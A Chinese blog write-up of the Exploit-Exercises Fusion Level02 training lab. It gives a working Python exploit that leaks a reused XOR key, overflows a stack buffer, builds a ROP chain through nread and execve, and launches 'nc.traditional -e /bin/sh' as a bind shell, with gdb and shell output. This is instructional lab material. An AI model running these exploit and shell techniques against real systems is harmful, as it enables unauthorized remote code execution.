首页 > Exploit-Exercises > Exploit-Exercises Fusion Level02

Exploit-Exercises Fusion Level02

Exploit-Exercises Fusion Level02,引入了DEP以及ASLR,引发溢出的代码位于encrypt_file函数中,当读入字符’E’的时候,首先读入四字节的数据到sz,用于表示接下来会有多少数据要读取,尽管接下来是通过read来读取数据到缓冲区buffer中,但是由于大小完全可控,所以可以溢出buffer缓冲区(128KB),然后覆盖返回地址。这个题还有一个地方就是会对发过去的数据进行加密处理,而且key是随机生成的,但是由于key只在首次生成而且被重复使用,会造成key的泄露,因此在发送特定部分的攻击数据的时候,可以先使用key进行xor操作。

Level02的源代码如下(监听端口为20002):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include "../common/common.c"    
 
#define XORSZ 32
 
void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];
 
  int blocks;
  unsigned int *blahi, j;
 
  if(keyed == 0) {
      int fd;
      fd = open("/dev/urandom", O_RDONLY);
      if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
      close(fd);
      keyed = 1;
  }
 
  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;
 
  for(j = 0; j < blocks; j++) {
      blahi[j] ^= keybuf[j % XORSZ];
  }
}
 
void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];
 
  unsigned char op;
  size_t sz;
  int loop;
 
  printf("[-- Enterprise configuration file encryption service --]\n");
 
  loop = 1;
  while(loop) {
      nread(0, &op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0, &sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1, &sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
 
}
 
int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;
 
  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);
 
  encrypt_file();
}

0×01. 定位返回地址覆盖偏移值
先kill掉Fusion机器上原有的level02进程,然后gdb调试:

root@fusion:/opt/fusion/bin# gdb -q level02
Reading symbols from /opt/fusion/bin/level02...done.
(gdb) b encrypt_file
Breakpoint 1 at 0x8049800: file level02/level02.c, line 40.
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /opt/fusion/bin/level02
[New process 9533]
[New process 9543]
[Switching to process 9543]
 
Breakpoint 1, encrypt_file () at level02/level02.c:40
40      level02/level02.c: No such file or directory.
        in level02/level02.c
(gdb) p $ebp - (int)&buffer + 4
$1 = (void *) 0x20010

我们对encrypt_file下了一个断点,要触发这个断点,需要发送数据过去:

winson@kali:~/Desktop/Fusion$ python -c "print 'E\x02\x00\x00\x00AB'" | nc 192.168.218.197 20002

这里要求对两个字节进行加密,触发断点后计算出返回地址覆盖的偏移值为0x20010。

观察源代码中的switch结构,如果我们发送这样的数据之后直接退出,那么就不会触发encrypt_file函数的返回了,因为如果没有收到字符’Q’,那么就进入default分支,进程调用exit之后就退出了,因此在测试的时候还需要在数据的末尾添加字符’Q’,这样函数才有返回的机会。

0×02. 信息泄露
这里buffer中的数据会传给cipher函数进行加密处理,而密钥是通过读取设备文件/dev/urandom得到的随机数,那么我们就不可能提前猜测到KEY了。但是这里cipher函数中keyed和keybuf都是static变量,因此对整个进程而言,只有第一次的时候才会生成这些随机数据,下次则直接使用原来的数据,通过进程提供的加密服务,keybuf会被泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python
# encoding: utf-8
import sys
import time
import struct
import socket
 
def recv_exactly(s, n):
    data = ""
    while len(data) < n:
        data += s.recv(n - len(data))
    return data
 
def get_key(s):
    data = 'A'*128
    recv_exactly(s, 57)
    s.send('E')
    s.send(struct.pack("<I", len(data)))
    s.send(data)
    recv_exactly(s, 120)
    size_packed = recv_exactly(s, 4)
    size_unpacked = struct.unpack("<I", size_packed)[0]
    enc = recv_exactly(s, size_unpacked)
 
    key = []
    for i in xrange(0, len(data)):
        key.append(ord('A')^ord(enc[i]))
    return key
 
def get_socket(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    s.connect((ip, port))
    return s
 
if __name__ == "__main__":
    if len(sys.argv) == 3:
        s = get_socket(sys.argv[1], int(sys.argv[2]))
        key = get_key(s)
        s.close()
        print key
'''
winson@kali:~/Desktop/Fusion$ python getkey.py 192.168.218.197 20002
[251, 107, 158, 231, 116, 233, 48, 93, 138, 94, 183, 5, 209, 54, 229, 
191, 66, 18, 158, 61, 80, 52, 26, 105, 109, 177, 182, 101, 19, 153, 
39, 254, 130, 105, 102, 183, 15, 197, 244, 88, 125, 197, 189, 136, 
74, 133, 39, 209, 45, 232, 111, 108, 120, 117, 50, 183, 148, 103, 
163, 103, 223, 180, 99, 158, 172, 26, 214, 40, 229, 225, 114, 185, 
158, 156, 1, 100, 18, 149, 87, 212, 220, 155, 179, 92, 24, 231, 4, 
241, 202, 198, 116, 227, 100, 49, 7, 186, 254, 129, 22, 49, 122, 34, 
41, 130, 148, 70, 84, 146, 49, 116, 231, 150, 95, 175, 248, 94, 202, 
127, 18, 107, 97, 234, 182, 252, 86, 69, 211, 24]
'''

0×03. ROP链
使用ROPGadget搜索可用的ROP链:

root@fusion:/opt/fusion/bin# ../../ROPgadget-v3.3/ROPgadget -file level02 -g
Gadgets information
============================================================
0x080487f6: pop %edi | ret
0x08048815: add $0x08,%esp | pop %ebx | ret
0x08048818: pop %ebx | ret
0x08048b0f: add $0x04,%esp | pop %ebx | pop %ebp | ret
0x08048b12: pop %ebx | pop %ebp | ret
0x08048b13: pop %ebp | ret
0x08048b3f: call *%eax
0x08048b7f: sub $0xc9fffffd,%eax | ret
0x08048bc3: mov $0xc9fffffc,%ecx | ret
0x080499bc: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
0x080499d2: mov (%esp),%ebx | ret
0x080499f8: sub $0x04,%ebx | call *%eax
0x08049fe3: call *(%ebx)
 
Unique gadgets found: 13
 
 
Possible combinations.
============================================================
 
[-] Combo 1 was not found, missing instruction(s).
        - .......... => int $0x80
        - .......... => inc %eax
        - .......... => xor %eax,%eax
        - .......... => mov %e?x,(%e?x)
        - .......... => pop %eax
        - 0x08048818 => pop %ebx | ret
        - .......... => pop %ecx
        - .......... => pop %edx
        - 0x00000001 => .data Addr
[-] Combo 1 was not found, missing instruction(s).
        - .......... => sysenter
        - .......... => inc %eax
        - .......... => xor %eax,%eax
        - .......... => mov %e?x,(%e?x)
        - .......... => pop %eax
        - 0x08048818 => pop %ebx | ret
        - .......... => pop %ecx
        - .......... => pop %edx
        - 0x08048b13 => pop %ebp | ret
        - 0x00000001 => .data Addr

现在我们想通过execve来执行一条命令,查找程序内部是否有execve:

root@fusion:/opt/fusion/bin# objdump -d level02 | grep execve
080489b0 <execve@plt>:
 804949b:       e8 10 f5 ff ff          call   80489b0 <execve@plt>

如果execve执行失败了,还要优雅的退出进程,查找exit:

root@fusion:/opt/fusion/bin# objdump -d level02 | grep exit
08048960 <exit@plt>:
 8048c58:       e8 03 fd ff ff          call   8048960 <exit@plt>

在一个固定的位置安放execve的参数也是需要考虑的一个问题。通过如下命令查看各个区段的属性:

(gdb) maintenance info sections
Exec file:
    `/opt/fusion/bin/level02', file type elf32-i386.
    0x8048134->0x8048147 at 0x00000134: .interp ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048148->0x8048168 at 0x00000148: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048168->0x804818c at 0x00000168: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804818c->0x80481cc at 0x0000018c: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80481cc->0x80484ac at 0x000001cc: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80484ac->0x8048607 at 0x000004ac: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048608->0x8048664 at 0x00000608: .gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048664->0x8048694 at 0x00000664: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8048694->0x80486bc at 0x00000694: .rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80486bc->0x80487ec at 0x000006bc: .rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x80487ec->0x804881a at 0x000007ec: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8048820->0x8048a90 at 0x00000820: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8048a90->0x8049a0c at 0x00000a90: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8049a0c->0x8049a26 at 0x00001a0c: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
    0x8049a28->0x8049ec0 at 0x00001a28: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8049ec0->0x8049f7c at 0x00001ec0: .eh_frame_hdr ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x8049f7c->0x804a274 at 0x00001f7c: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
    0x804b274->0x804b27c at 0x00002274: .init_array ALLOC LOAD DATA HAS_CONTENTS
    0x804b27c->0x804b284 at 0x0000227c: .ctors ALLOC LOAD DATA HAS_CONTENTS
    0x804b284->0x804b28c at 0x00002284: .dtors ALLOC LOAD DATA HAS_CONTENTS
    0x804b28c->0x804b290 at 0x0000228c: .jcr ALLOC LOAD DATA HAS_CONTENTS
    0x804b290->0x804b368 at 0x00002290: .dynamic ALLOC LOAD DATA HAS_CONTENTS
    0x804b368->0x804b36c at 0x00002368: .got ALLOC LOAD DATA HAS_CONTENTS
    0x804b36c->0x804b410 at 0x0000236c: .got.plt ALLOC LOAD DATA HAS_CONTENTS
    0x804b410->0x804b418 at 0x00002410: .data ALLOC LOAD DATA HAS_CONTENTS
    0x804b420->0x804b500 at 0x00002418: .bss ALLOC
    0x0000->0x29f4 at 0x00002418: .stab READONLY HAS_CONTENTS
    0x0000->0x9111 at 0x00004e0c: .stabstr READONLY HAS_CONTENTS
    0x0000->0x002a at 0x0000df1d: .comment READONLY HAS_CONTENTS

可以选择.bss区段来存放数据,.bss是可写的,起始地址为0x804b420。那如何把参数数据写到.bss呢?我们可以构造一个nread栈帧,让程序从encrypt_file返回后执行nread,把数据写入到.bss的其实位置。

在gdb中通过p打印出nread函数的地址信息:

(gdb) p nread
$1 = {ssize_t (int, void *, size_t)} 0x804952d <nread>

我们还需要leave/ret指令来构造一个指定基地址的栈帧:(grep命令行参数-A1表示查看匹配的leave下一行数据,-m1表示只需要找到一处匹配的数据即可)

root@fusion:/opt/fusion/bin# objdump -d level02 | grep leave -A1 -m1
 8048b41:       c9                      leave
 8048b42:       c3                      ret

0×04. Shellcode构造
现在可以构造Shellcode了,我们通过execve执行nc来监听一个端口。需要注意的是,Fusion机器下的/bin/nc/指向/etc/alternatives/nc,而这个nc不支持-e参数选项,所以可以使用/bin/nc.traditional这个nc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python
# encoding: utf-8
import sys
import time
import struct
import socket
 
def recv_exactly(s, n):
    data = ""
    while len(data) < n:
        data += s.recv(n - len(data))
    return data
 
def get_key(s):
    data = 'A'*128
    recv_exactly(s, 57)
    s.send('E')
    s.send(struct.pack("<I", len(data)))
    s.send(data)
    recv_exactly(s, 120)
    size_packed = recv_exactly(s, 4)
    size_unpacked = struct.unpack("<I", size_packed)[0]
    enc = recv_exactly(s, size_unpacked)
 
    key = []
    for i in xrange(0, len(data)):
        key.append(ord('A')^ord(enc[i]))
    return key
 
def get_socket(ip, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
    s.connect((ip, port))
    return s
 
def encrypt_payload(payload, key):
    data = []
    keylen = len(key)
    for i in xrange(0, len(payload)):
        data.append(chr(ord(payload[i])^key[i%keylen]))
    return "".join(data)
 
def pwn(s, key):
    base = 0x0804b420
    junk = 'A'*0x20010
    bss = struct.pack("<I", base)
    nread = struct.pack("<I", 0x0804952d)
    fd = struct.pack("<I", 0)
    size = struct.pack("<I", 100)
    popebp = struct.pack("<I", 0x08048b13)
    ebp = bss
    leaveret = struct.pack("<I", 0x08048b41)
    stage0 = popebp + ebp + nread + leaveret + fd + bss + size
    payload1 = junk + stage0
 
    print "Sending stage0 data..."
    payload1_enc = encrypt_payload(payload1, key)
    s.send("E")
    s.send(struct.pack("<I", len(payload1_enc)))
    s.send(payload1_enc)
    time.sleep(0.5)
 
    s.recv(0xFFFFFF)
    s.send("Q")
    time.sleep(0.5)
 
    null = struct.pack("<I", 0x00)
    filler = "DDDD"
    execve = struct.pack("<I", 0x080489b0)
    exit = struct.pack("<I", 0x08048960)
    args = struct.pack("<I", base + 24)
    envp = null
 
    data_offset = 40
    binnc = struct.pack("<I", base + data_offset)
    ncarg1 = struct.pack("<I", base + data_offset + 20)
    ncarg2 = struct.pack("<I", base + data_offset + 29)
 
    print "Sending stage1 data..."
    stage1 = filler + execve + exit + binnc + args + envp
    stage1 += binnc + ncarg1 + ncarg2 + null
    stage1 += "/bin/nc.traditional\0" + "-ltp6667\0" + "-e/bin/sh\0"
    junk = "E"*(100 - len(stage1))
    s.send(stage1+junk)
    s.close()
 
if __name__ == "__main__":
    if len(sys.argv) == 3:
        s = get_socket(sys.argv[1], int(sys.argv[2]))
        key = get_key(s)
        pwn(s, key)
        print "pwn done..."

其中代码

stage0 = popebp + ebp + nread + leaveret + fd + bss + size

所构造的数据中,首先执行pop ebp,将ebp指向.bss的起始位置,然后执行nread读取100字节的数据,随后执行leave # ret,将esp指向.bss的其实位置,然后从栈顶弹出数据赋值给ebp寄存器。

而代码

stage1 = filler + execve + exit + binnc + args + envp

所构造的数据中,filler为填充数据,执行pop ebp时弹给ebp寄存器,接着执行execve函数,其中:
1. binnc指向字符串”/bin/nc.traditional\0″,位于.bss偏移40的位置,长度为20;
2. args指向一个字符数组,位于.bss偏移24的位置,内容为binnc + ncarg1 + ncarg2 + null,即命令后参数数组;
3. envp指向NULL;
执行完execve之后,如果执行成功,那么监听端口就开启了,如果执行失败,则调用exit退出进程。

winson@kali:~/Desktop/Fusion$ python level02.py 192.168.218.197 20002
Sending stage0 data...
Sending stage1 data...
pwn done...
winson@kali:~/Desktop/Fusion$ nc 192.168.218.197 6667
id
uid=20002 gid=20002 groups=20002

Exploit-Exercises Fusion Level02

0×05. References
http://www.kroosec.com/2013/03/fusion-level02.html
http://vnico.mundodisco.net/archives/258


觉得文章还不错?点击此处对作者进行打赏!


本文地址: 程序人生 >> Exploit-Exercises Fusion Level02
作者:代码疯子(Wins0n) 本站内容如无声明均属原创,转载请保留作者信息与原文链接,谢谢!


更多



  1. 2014年12月1日23:47 | #1

    你这些东西,,我都一点看不懂了。。

    [回复]

    代码疯子 回复:

    @tanglei, 是了,你去宜信?

    [回复]

  2. 2014年12月2日00:04 | #2

    确定去TX了?

    [回复]

  3. Chrome源码研究
    2015年1月9日17:08 | #3

    你好啊 能加我QQ一下 帮我解决一下那个Chrome源码的一些小问题嘛? 1257739919 不胜感激啊

    [回复]

    代码疯子 回复:

    @Chrome源码研究, 抱歉,当前没有时间在QQ处理这个问题。你可以尝试把问题贴到这里,我看看能不能帮忙解决

    [回复]